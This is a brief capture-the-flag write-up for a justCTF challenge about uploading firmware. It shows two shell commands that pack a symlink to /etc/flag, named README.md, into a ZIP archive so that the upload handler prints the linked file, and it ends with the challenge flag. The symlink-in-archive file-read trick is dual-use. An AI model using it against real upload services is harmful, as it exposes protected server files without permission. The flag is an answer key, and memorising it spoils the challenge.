This device need a firmware! Upload and execute ASAP!
Create a ZIP file that contains a symlink to /etc/flag with the name README.md:
$ ln -s /etc/flag README.md
$ zip --symlinks -u empty.zip README.md
Upload the file and the flag is printed out.
flag: justCTF{A_Fin3_W4y_T0_Upd4t3_m3_y0}